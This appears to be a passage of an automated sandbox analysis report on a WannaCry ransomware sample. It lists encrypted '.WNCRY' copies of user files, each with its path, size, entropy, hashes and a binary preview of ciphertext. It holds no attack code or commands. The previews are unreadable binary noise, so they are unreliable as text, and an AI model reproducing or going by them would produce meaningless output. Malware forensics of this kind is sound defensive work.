                                                                                                                                                                              Preview:WANACRY!......j...#..!...h..`.........5.>aq.....<.i.....*H~.^..$.. .....T.t....3.0... kaQv~..&..Hj....6L.......V.....T......k.....0.E.2...?.L...qO......+.!......qsm._...5.0..).K.....c.d+.J.9....".m..X.vL.%+...'.._..Q#.n..B....'.:....;.{...R.....Q..=.$.F............;.J~8I.2.R...\9..mzV.......).......T.(5w.;.r....k.y..O...........&.9...se.B.B.......{4..../...c...f.jeC..7m.g...@`.!.&...t.m2HZ'....yq|<.x`..O..12....mc.Q...".O3w!g.\.U.Kl-..^.5b.cdgLU.'Y.y.5...X....|n..6S.G.......Pe.|C. .(ek..}&...Gh..]a*3........#..z..D!.hq.........45.R...,..Q..i..u.....e..B.4{@./Xw!.%.^.'L.Z....G.z...]He.H..(.D].j.p..=N..J.4.X....8...(G..m....y.u.8/.i...........J..P.(.#1{..lC.r..p...pG=m..R.D..+|'9..D,.[.{4pR.}..d....xw...O..../.X.4.7-Q..D"....*.h.01....l05.H.g......7k.4JP......F...<.2==t.\.y..{.->....@/.i..ma.....!c...*...Z.o3.{.8...k,o.8.b.2...j.z...{.o.^...z..W...;q...r.D...G.tow..oa.).r.....{.eD....j.....m@..jK..Z9....o%g.v..:.v+.`...........l]..(.#.3..I

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\GRXZDKKVDB.xlsx.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.83795330094803
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkvcgBAuHnefT0lA7Cg5Gm74zWDvjp9JbaFX1uXkfYnq4hi/e9/EC2uR:bkvxAuHnZgf4Cjlba3298fuR
                                                                                                                                                                              MD5:54FBF7587A24CA16B649F8A883FFFB9E
                                                                                                                                                                              SHA1:B052100B3F4BFA22EF0DF68CF7CCF2D27CA80BA8
                                                                                                                                                                              SHA-256:DA518E8D1C553FC3047A26B44C75AED93BEA819FBC52E53ADB48F50BF73771D4
                                                                                                                                                                              SHA-512:CD00CB409C836EE091EC455C78B76DAAA02D0E644B13A8952BF12E22B1761E2DEEC8E9F71FC7A6D7795723365988E0A82666DFDC921D57EB00E30660761B6817
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....8;f*7`.f.9.Pt.%E#..r.M...s.V.L.@>..r..)[.#..[..k.:...".Ze..*%;^..a..h8i,Ct.........h.....R....K.Hq4.....9._..x..-!Ml..eC.!.b..6.....|.D7....vbST...h......Fx.F......M..HCk....D+.E...8.O.{.{.@.W<.Uu,..5PKy.jr6.h0...5l......y...B>.Xv.ks.5r1.(.................C...".,....<......t...).>.!WQ@V.G1be....>.}....T...t..i....K.&p.i.-.|$U5#..g..r.n.uL.<q...5..O...\...........$4..xO.0..,)evGT.o'..5L.TH)...A9l...qm..F).p.......u.;..\..p.!..f.|...c......*..3{...~?........DIy...e..._.s\v.....Z...1cjG.^.Z.7v?w...[.VH...t.....[[.9B...t.z...=N9..I..O..9<..$.,..t...o...r..l.j.B<."..."8o......1Q.z....M..{j.e%.]gqC<...."...I.3w.ov~....![..>........G7..V9d.Pt.....+..V.&#`.....V.B'S`....?.^=.hS.2nF8...n()?...-.l.H{T.....I.!7..bb*.h].V......^...6..k..1...D..cQJ.}...A.E..;.$.x*....6.i.....-K.&U..o......-Y|.4..JF.....?c.XE..S..':W.....[..6...4r..j.....^td....!._faw.,l|."...W...I.....:...{g..^..a.l.<x.#j...../..q.P.O..,(F.....#..z.$....A..].......,.m.L.#..]

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\HHWFPWGUPQ.pdf.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.833596758011272
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkztmA11D/AT4zlq2xBOqkeXI5r/R6SrBOpeEh5/TD+TDYm:bkztD11sUzwe/XIdLBXEb/no
                                                                                                                                                                              MD5:6685B6E46627278CD22F3B459780D94B
                                                                                                                                                                              SHA1:2CE5CCEF6EA008D2040923380BA2A92D542BECC7
                                                                                                                                                                              SHA-256:BE9DF6FB5CAEB625ADF3A38683E3DE77AD205EA6981DC8136C689A3A2E81D264
                                                                                                                                                                              SHA-512:29FA708DCFBFA314547D224273407A236D2BEFC534E8A830A2A22BF334A01C63C517783E32B91F0DF164CB097514A6EB245AF9A72E32D2585D468345740AF287
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....o...a.U...z....B.(.N..\.8.U.$....e...#...C5...t..66...(.b....^F.g9.R..(....K...O.{.. e..p[}~. .DJcw.(..;.9...H._\.bl....YUE...T...n3,..g...[...J...a.:8_..*.........=..HPc.!.L.....~'./..3;e...t...f...,.u.?8`..t..@...@.9j.P.z.d@v...C1..8..~.M.............@7x...m..EG.j....&P./.i@.#.l?.v...z0../..'.x..lx..r.d.......^..9g&@...C....C...Z.m.R...r9q...............a. .Wl>&7$......G.E...pe.9.Q.+.v......#.K.i:....b..v72g.f.I..S..Y.L..J..>|..CC(^.R......<V.K~|..+O.+./.pu.....sD.S....%.AM....I...W.D3.g......g...."...<..........PH........y.CoP.q...3...q.JX.....uD...n......8....E....Qt....T..../.f%.e.N.....u ...10.-[G...x....`.U.......r.,`.....1..Fu.....@6...,~3@d..~..j(...[...]......U~..\-..H.....`&.............yC.B...F~.!KYQ..i....~...6)...7..#DE.7'..T..~.Q...i...8[...\Q...-.."..u..{..sb.3....FL...9....RR.#Q..Y)<...Z........R^{.9m....z.L.[.aZ..x... ,.H].3..k.~>qhD.5....q....S6U.<..$.6..T..~.5Z...=_u..`..G._{z].....Oy.]R.......u.G

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\IZMFBFKMEB.jpg.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.862450117186817
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk8iVfvS4uYHsHklP0g82mYQsNtRj83oxh1c+46FlKVqXRtQSVUSi9ev3:bk8yvS4XMEVRTu3oxne6DGqT9UTU
                                                                                                                                                                              MD5:C615C81C45D1805C11C9E4DC6288647D
                                                                                                                                                                              SHA1:123372809FBC385296C1BCA070E5207D70856EA5
                                                                                                                                                                              SHA-256:D283C2B8B8A62A8FF1E5EDD3B67DBE60E69FB86B0DBA0F7CBA9045E6C40E370F
                                                                                                                                                                              SHA-512:25C7CCBDAA8EFEADD5522567975260CDCC15BD0C8110C3821F9A48F3AE1582B68657CED2ACE9236BFFB8413FA0E11247D4F09D11A0439E7C10466F252B11CD7A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....f.XVf...8jl)*pX..w..Y.sa.D....t/......f..o....t..2$%....6)..HlM.S..w..HY...8...R..@n.A..*4*k.4.5.+b..^....&.+....M=NN........E.=."....v...-......$...:.A. ..y.rNZU.....y...q...w.j..[../.N.e....Ft}.^?6.i;.x_..&..W(.....j.~..an.ju...IH......i.R...............2...%.XO...f..|yD.^..V.`..JP....m.I...Y&.......L*.U.r...h~...e'.r.."<M...X..&P;=..y..2.....>..?*..N3.#.....'...$.@v......!.}..G.jO3|.V....!..l.9...{....n..N...=..L..7..la.&...W....J.....<g.o.C.FZ.dtkJ.!M.5y0%..*0.......J...^..uC.Q..K[..d.c.....Z.........^.%.M..+g.S....4.M..H!*..n..iQqyf..#.7...O%....]1...K../.tX0.s...8........WO....O.....Y...m.cFg$..77t.I.i..g..]Q..2]..{_gs%>F.).C.................`.C..Em./.."..}....!\.<..{.J0!.U..IRdBja...,.8^..>|.%.zFP...DW....k........)p..Lm.(A4.....'O...=..RRU...Rz.X+....m.........U:.9D.G~..$.oHE.}.........4..{.\....I.s........)..xYEZk....V.....U:.7..2.8..60d'...L.14K....f..0..}..kS6*.U.Fdy..)Z<....Ex.L..Ff.._..Ra.3.4'e2. ..{..~.5..f

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\IZMFBFKMEB.xlsx.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.843287511506092
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk/CeCympjpbXBCgxuB8hIF+6uEiZDtlck2foePCedk3px72zzHq:bkqeChjygxuBAG+6uzxvyGLYq
                                                                                                                                                                              MD5:EA8B4436EAEF551F656E30334F9168FE
                                                                                                                                                                              SHA1:AA9754F78F16018DDF54363828E4C16FBDA698B1
                                                                                                                                                                              SHA-256:91587A278815E50E35EDADF7BDEB9FC674DE8BFA6E50BE70D933055582BC9168
                                                                                                                                                                              SHA-512:1957B4A6B31D65B3DD1EE17F0BCF1EF37844D541BD77FFE7826F9E579713C633E0A0B30A43801549B17D9E702E8975316A7DBACAA95BC1849271C37DE65F5E31
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......V.....'GUG......L....1...u.`.............!dv..H...F.y_a..]z.;..h....'.........m/.B..R..=...T..F.P..P.........4.lD.<7h<z.w..R+.I.U.f.......v.v.p...pFw../a.+u..Q.;..qj.V!M_.s$o&t...b..V8.......5......L.:h\..X.b.P\[1.*....[..V..}f..A.&...x....h.)V............,S..|.I=.......6t.Z.._..Me...]'N>.h.....e.....@..PoW...|.)......8.1.8wvLg..p.L.nq2Q=N...:....\O.9)c...Y...x...k.^..9.o.-#.].8........T%...j.z...H.'.....q.H.5..xx=p..I...}........).m....gt.......Yn....K..../..8.....\~...(..r...Z'2....Yn.}g9.5....(U...Y4.....CA..r........(.......?.P(y...o..v.....h..p....."9....;V.~.X..J.I.?.1w6Fmlf......Z...#..P.D$...2J&...w..."..m......,>^7.......S.e.f.`v.vYix.jD.V...|.......2.t/..fiK.V.....B....v.D....Z...^...{... .....Z`E.;..{;.x...J...T....5.G.... /R.d@aT<...:j.TW..A9.GH.....l<..j..b....r.N.~Yf$e..-\b./.....8=x........a.'....o..S....?...NU..._S:....O.*.*.N....X.km..B.0y..6.#......I...VY..ns.8...N...b.g.2.y....%..."....Q.V5...

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\JJLYAVPJZB.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.840811155099381
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkTWIE9/oFzElzMlYbsiIT3yPo3okx0okYB/3rUZ5A:bk0/oUz783v0RYB/36O
                                                                                                                                                                              MD5:2B814A92406197C8DC22F7E2EC4F0B2D
                                                                                                                                                                              SHA1:CCFCA823FCD0FF2E03C5447424D3B1080D1F7BD9
                                                                                                                                                                              SHA-256:EA57E8617F0D5EC16CB13E4C6533279EEF435B59392DF05FD355F17F3EFC9385
                                                                                                                                                                              SHA-512:52C6247E4A02D8E705148F9A3712CFD037CF25CD83928C985917063074E3445902647B6F0F1A8EBC2AAF76D6D13257D8E8D2F7DE778BCB1E1D3ADF284356C390
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....f..K6..;.j.F....a......+rS.|01.0..A.O.....rH*6.BXX.,S...{..=.....Q.3..2.1..~.T......\.-xs...==).....#..z..mP6=.{H.J.yu..P.L.....(v........p*A.Q.[S%.."[..;...E^.P,.E./...|\......b..>..6b...<a.d...)...'...]3.....g.k,.......Y`CZ......;5.ry...|..............Y..^y.Es.#....SLeH..M.%...}...=.bM......../t|,i../..\AvM=L...@+&........{...E...d..K.....<...F..?....,.x4..N.}.(.......[...lw.)..U....xO(.l.....`....3{~^A..kX.y\.\bY# ,..o..3.^Og.+.i...!i.D8q..8.-.m..m........ ..:.Jn....w+,.H.`K..Fk*.=....w6*..Z..j#.g<.Vz.@..#.O......c.'.....D0......O..OM&&.f.E..0.2.V.1..tE..Y.U..m7....q.'.~..........Xh.F.R.=.;l5..r.h.0C'!.FU.3.T.....K.....y...sL.....7xf.},G.n<.l....n..b\.9]f.3.^..MG...Kh..I5..L6X-.+w...i8.....Q.Z7a.2...J.D.~...[...H...>...y>^P9..{j..\K.G.......]..m..&w.6...../`...=.....M.$%~\.n.v..o.V.^.g.....r]...;1..~.>../e5l...L..}......).?.....x..jZ..T.....K..n....>.B...}..g6..P.C2..............}.x.7N{.#...v2.+..'U.......F......H

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\MNKQCGFJDG.jpg.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.84516154122595
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkAqRmNbsXBZrCLORIMOaPL2aUJ6r91szspByd7dpxWBbX6BF:bkAqRabsXBZrCiRzmJ6r91szmod7dpxJ
                                                                                                                                                                              MD5:B252E4979D533A1BC57E4F9877508C68
                                                                                                                                                                              SHA1:6C3711C0194BF37EED5AF94CDC00C6B41356C070
                                                                                                                                                                              SHA-256:E2BE215B0949DFC6CCF77C44F5932F6B3BACF7EE8E71B5CCB82BA418EE3ABE38
                                                                                                                                                                              SHA-512:EE4BBCBDBB7A5A19A3E6AD7122A20563C79A49D57BA1F75A4B3FD85098659318B91584DF024A4099E544B3CA54A277D813C3CE4B07D139AFAAA2D69B2550C3CB
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......ia....+...,F.......ga..0F.9..'..<.oPt...c..+9.....-?S.....^...........=.}..........`...>.r.6.K.1.MP.)wG.gq... ...5?MfOzHS.f..b..8t..>Sa...h]..5...1~......3&.XP..v.{..us|......XW..iB!.q....,....G|D...t.~..GE_.I....98.....g.l,N.s(.f........?.{l..n^............nk..B..P.....r.F....T..X..0..S...Tt.m>E....Bo...z...^...w..}.[o^.W....@.......a.p.<..-.`;.)]....\.....2..l..~o.S..`.^.#.+F.....yn..<F...R_...i("....%R._..8{c.H.=..9}.gs.d......H.......0.V......^...=.G...T.z."..B...efo9.7&......v....]B.{M.qEd..T...p.8I5.S...si.V..U..|i'...T.a...*..vM..k.0.%l.......DPj~.j;.2A.VF. .4..C.v.S..D..'e...c.5..........+..uS.I'Z[.S...O.Y.}...B..9..=./=ck...._...........N"{....i,.>%...a.....o".<......H..\.$.....!TT.......6e.v.....^..d&.w...+k......^..s..q~....Q..._.......(.?.De.R...{.....V..U'.} F.3...jH.._..l.O.Q.,). .u.L"0...%..*....*..J...#P.1..V..;.`.....~.[^).....]...C.S..u.]....U.>U}kICdk...p.......6}.8..qk6..#....+.V.5.N..Z..~..U...G...Uhg

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\NYMMPCEIMA.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.8489759133661
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk8EWxjFoKWpDtSFwGKfxiVnBOjrdYqLYqWTOwf00fxpzBcBbJy8nE+c8:bkJWxj9MIylxonIYqLYqAOM00X+JnEA
                                                                                                                                                                              MD5:8D574E39DCDA58C60DC15B5572552BD4
                                                                                                                                                                              SHA1:F1143F7DAC64FF3E9EBE48B273397EEBDF27F9E2
                                                                                                                                                                              SHA-256:E999BCB04B685CEDDA8F9C8CEFF0B959C6FBE36D3142F23C0D8E3A5F3E984760
                                                                                                                                                                              SHA-512:087A0768B354B0560CE516E92CD162202AA122D1F3A45165A6414ED93B50FC15014931753627BE7D455785E852770D7AA04886F64949CC4F230040F5376CBF4F
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....(...$M~.TH..o..........+;...E...`m..z...E`..4....._U...-..V8.........OG............*...GO.[.S.F.....7.gk..F.{....t......W..%.....;.....Y...w..O~.]|l.4..~..d.|...;/&&S...&....>...b...v..#.pw%.....V....%..w..n. .....v.==.....0+:*H....R.O.#...............t.8....H|.A.+.(2.s+.......I.Y.!D`..E..|77...?..../CQ....=.p.UU.#.K...W...4.6.W|q.%.p.[p.k...../.&.bYzg..|.3....s.m..{5...r...@..yV#/4......0..6..1...P.f...KK..Z....x....a&..e..L1./.....\........'..l..V._..]..If._g*.@3.9g.E.\.3!;W.G...a+%....tZ7../.I.o=_-b-...Y..+..)Y...$...X.z^..a......_$.."....x.JY0*Hcf..D.~#G..ro....e.vRNH.....6.A...-.$...P+...._c....!A..*.R<>.r.x...F....,+.]H...P-..<.......i...V.T.......xu..h.2.v_.9.....F.J'N!......j....&.Z.D~*.q.`.c]$...Dv.0.W..o.....c..?ON..4...qxT.]..e.H<..G,..(..^6.y.zi.J.w...o.K.....8.PA...-...r..Pr..e\F...q.'...e...C..m-5...D..>W....N..p.JK.1..^0.....o.".>.....F...!z..u.9.!.%m.H9...`_|b...v7n.....<...R..e..(7ht..}.<..wG+.Qk7...o...

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\PALRGUCVEH.jpg.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.8511541922834365
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkD0PX/lg4D7bcgBVy4AtGvPHMphDfENMyS9QJ6H/X+KATn:bkD0PXt942ydGc3f+XS9iW/X+KAT
                                                                                                                                                                              MD5:7C586BC7011A36F15DA9166D90F99152
                                                                                                                                                                              SHA1:A6263B1848A4F90A1FE44DB795ED9B2E83554AB7
                                                                                                                                                                              SHA-256:3DEA8B7F658571860106EEDE6377054BB8322F1C8E5277E06902F4791E7103C2
                                                                                                                                                                              SHA-512:86D41990767BE465250DB0F47339A1E1876DAA3D620F5E92864B1036C486F6B89B5F39EA92AD027857606E32893B3D85F0F8339B17837BE0523324D5AD4622FA
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........2u:..7..|H>.L...S....=...Y."..(.X.S..Yv..v...O0k..._...Xs...B..CGC@.u.@..c.V....Z5!U......{`i............6.k..Z.......D...z*...F{.x.FwE2....)Z.].l.!QW.....A...7..e.....>..k.....H."C.cH.+j...b...P.T.....n..@'..#...c.2y.X;.dV.]Uv;.....b*B". ..).............F...[.`=..I.....[~<.m........f..4W."."m...P.}.y`.m.3......m.+...\... ..../..@^m.@..E...%..R.f...B..}4.!.x..I,.KKf.V.M.j..Wa/..5&4...L........=_o../..z./.n.XV.?N}.sS).=Ta...._(.~v....<.#...*..f.}..di'..E..+.1.....T..PF....7,}7m.:|.............T..%.l.;...(..#...'.V9.K.....g...M......K.u%...>.D$....C#....!+_.zk.."..k....R.A..dk..l_..U.We..i..3.v.../.'.j'.2S(y.].*"....6.)<...gA...[.c!A.;..Z._.:v...kP.8.....G..(>1......}.i..h...GR.xE...71....>.b.H.....y....1n.g..^.[=.Z.[pe"s...(..kT.....J...B..`x....l....:.;.Z..Wd.......,},...........)uQ.C..9..D`..)...7...k.?TCk.'.N.J.h....-.y...UD"..!.8B<%.+.......x]..OID..^.............H.S..@..)...lL.^'9....._jn.....dK.U.h..n.B.~..i;.....

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\PALRGUCVEH.xlsx.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.8466959298448975
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkTUJmkGCfRHmiVZ5p50UcvT9i6ZketH5AXWQM3veZvIGzLK:bkTUvGyRHmiP5n1cvftH+X23vpGK
                                                                                                                                                                              MD5:9A10E107B64411399F234A6D4295708A
                                                                                                                                                                              SHA1:05FCBDCBD61680392427C56D74BD72E771AD9096
                                                                                                                                                                              SHA-256:054C39519F7C06BCCA320F1A00A5AF59FC3D9A8CAE0F9AFF30ADC870CA7A740E
                                                                                                                                                                              SHA-512:469B9ACBD0B2E369A4E08B8CB086DC644BDB7473762F9B505DC2948C7C365D90DB63F5CCD50A6FE5FB40CD07B202B89696F307289885A305DB4D33B317B7CBC1
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.........{.%.[%....bq.a....n.B..8.L[..U.?...B...`.".74{x....CA...v+....}{\...5.|l..0. .x......y.[.......@..u...D!*..<4d....8..........9B...o.?..S...k`.B<{vW........:..z.,..M=N.&_r".u...?.;.!B..sL)....3..M<..{`..s8.K..t`.v.r..!.D......>.-..t...G..............9.-8.%..#...,h.wqn.C...*@..R.~..@.q.8l#...Z'...o-.{w.<.....3.3..(.{..L.{HZ.G.J.K.G..@x.......D...I.(.P....P.&.r...r.)...+...[i.<l.[.F\.$.K........C.p.V..\..._\..q.....L.2.7.eCN.<......>iV..n..L.G,s..92.kQ......@c...Z.H.u..my.!......Yk_...8..Dk......mY.z.H.yS.@.#H`..L_...|Z....6.tP.c.4..j.V0.HsP.Q..:..g+P/..:u....sO.S.M.wEM;...t.hS..'.o4...n.&.......#R.C...d...6....^.c.U0........,...*.i.2..R.O..n..'..L....&....}.O...[.sz<.........)...e..r[.3...}.3......Nsk./.... ...5..{?\TM...-....ZL!C.=.k).=......n..J..'eO.U|.8..{.._x...W........,..fD:.[....../..W..(....=?F..f.f.x\.c_Tmm....ap..........BkL....{Q..T..!.?......{)*.S.,...)_H...u-C...4 .F3.,-.Pe#N.........,.(d.....as......d.o7m:,l

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\QFAPOWPAFG.docx.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.847390630475262
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkz5Pvo9+ZbCOgbjCyIgilgyP5oWdjvqDiMxc++o4vtyf6wS1P7puKcUmcxME:bktnvejcgilgqXjKiMzRD65TpusmCf
                                                                                                                                                                              MD5:76262E8371DE4B4DD5BD90B8CB408806
                                                                                                                                                                              SHA1:E71B2DE039A9343BEC6D153B4A8E7D48133E2611
                                                                                                                                                                              SHA-256:C5A4D58152D977E91C6CE5925C44C2549D68051FF8F38524AC984F3F4DCB682D
                                                                                                                                                                              SHA-512:FD885240BC06337E7CE19969A39A66AAA5A75395F4043A06BC707F05B312B2414781BC4383CD17FF5A9F3636CF78FA59E4203C314144847E9BA005F43B03BE93
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....4/..8.gY`XarY....x.......X...>.....?Y.]u4gr......oOB.5..-'S....Fb..Y..Z.DX!idi.p.H.G...tE..U..4...M.i3O.j.~.....4...g..V..~......-..W..u.."!t..u/..|.3.p...]d|..z.g../..k.0....6*(S..A..B.lf~vT..1X..=.\.Y...w.. <....^K.%.S..\H_..a{=S.:"NJe(.2.'6"...............n..}c...ZG8...AZ /0..w...Gh.{.EC!7..........!.>^p..d....O .x....i.......p!XX.....b.....s.6......"E.x(...+`...< c.[y$..^.......M{*b.A.X.9_.@...Tw.b.......&..9..2.E.....7.A..C.......D90..+....X..|.jl.....^.....g[.x../........g....J..C. .O.,C.D)e..}=.;1.W.u..S.Zli.x........r.u...4&...p..RL.....,....t..Y.QJ(...s..f2.e...G.j.DPCo&}./$i.....Jn.J..>.q...)..!.K.....u.~.k.^`.....]...'7.....X........,M.3Ap:...]..@i.J.}..Oo.z/.UScr..d.)$..M-.&[..r.w...c.p...=..Q.G....;....G.,Y...X...'..T.=.-...V..T.+.D......H..A.*.:.he.N*N..z.D.4.......<...~.oy(...M.....P.:.o\.i...X.,.hv....@t.h....K....[v.U.......aS...n'.hL.NZ.h....j.o9w......]...%.]6.h..p9..P.....a..X=..gZ.?...,7.g)j5T~k.U..[p.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\QFAPOWPAFG.pdf.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.84781871873502
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkhmlKy0GOcRK85rPuqedGUSyVAxjColBIUmLIbpZggz+XSrynONHvCrfU/r:bkcrdLrrGvaxjC4m2egzYuynXfUT
                                                                                                                                                                              MD5:83A7EFF5025BD96E4A633005376ECAD4
                                                                                                                                                                              SHA1:C8D23D1A84EA3D043E9BE58241223D47D888A46D
                                                                                                                                                                              SHA-256:E891430D2B0A37873E2185538E85E2F1A43B5E6DAB738B8259771E91EE76F898
                                                                                                                                                                              SHA-512:62FDAA1D0442AD47FA2FCB88C9656F8B74372361282297A4A6C94CD974F2AE21C34411A2EF2275E25377D55E4EEE2128EA791BB650669C4363A61D07CE763F6E
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....OK...a.ej...z5L.ItS.;."....._...9.}.I..wQ...5..L/eQ..Va...]"..TY....}....|W.T.[...v..{..>...F....\Q=..c....0.UlR.fw.<X.7...>]..0.!/...u.!*c....?.H.W...K.UQ.?.z..,......S...};..x.k..Go...dt......\..6.=...P.....^...O.'.../z..`....7Q..c..W.*5..................Kb...2.....3..m.#../..'.'...J5..l.....!x@'..N._.....es....A~eM...Q|....9....D*.U.....C....q..,.gc...w.EO......,}....R]..M.f@..,h.+xR...A.....T.\..2V....w..1..:......3.{.0W.,F...!..:a7.."9..s.^.[_a0.O.V.E~i..l."...g..C?..Tc.Q...A.2.9>C..g#..-.G....e'I......}...{ Ik.z..Br.....a..).D....)..)...?..H..m[.M.Gu..<.}.....g..@.B.s.J3q.QM./..8.....dU&nL...#R.t1.|<R.$.^n4^2.5.0=.O<a`.4........=..af.....*...*.c....C.*.......k[....O.oQ...V..u.i.......d...*Q. .:e96.....sk..3..C..e.9}:....8.Z...[.<3..B(]vW..<..@..W;.x...[H. fI;7R.%_..~.q..xN2.|.S..#...&x.+P\..-...dY5.t..'nq...8..F...].....Lk>v.*.8...L(w....$E$..@Ze(..H|.C.(t`..E....o..:p..%..|.!ZL?.`B.L8...N..`....n.GRx..E..(0Nzn..[.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\SBVUSFKOGN.mp3.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.862400553234766
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bktoHPm0xIC/NRVW4iS2jfQIqjYjJG4ylW4V4xjjYiS+tBbHJlxm2:bk5nCFfW4iSKfj3yvMfxm2
                                                                                                                                                                              MD5:D5A972712AF40AA7B50ECAE775998CB3
                                                                                                                                                                              SHA1:25D22D07626C6E002161ADD8C22EEFF784BC3169
                                                                                                                                                                              SHA-256:8E3EBA791C4A07B80C6FA59DD1EFE50804628140627D544CBD6BCDB2A9184AD7
                                                                                                                                                                              SHA-512:2AF715512251C2874AF4A36BAAC5F3E50542A62326B1AA24BA50AC87BA736118023C9134454481304CE70D2289BCAF6676662D354295B01EAF1C47E036BBE6B5
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
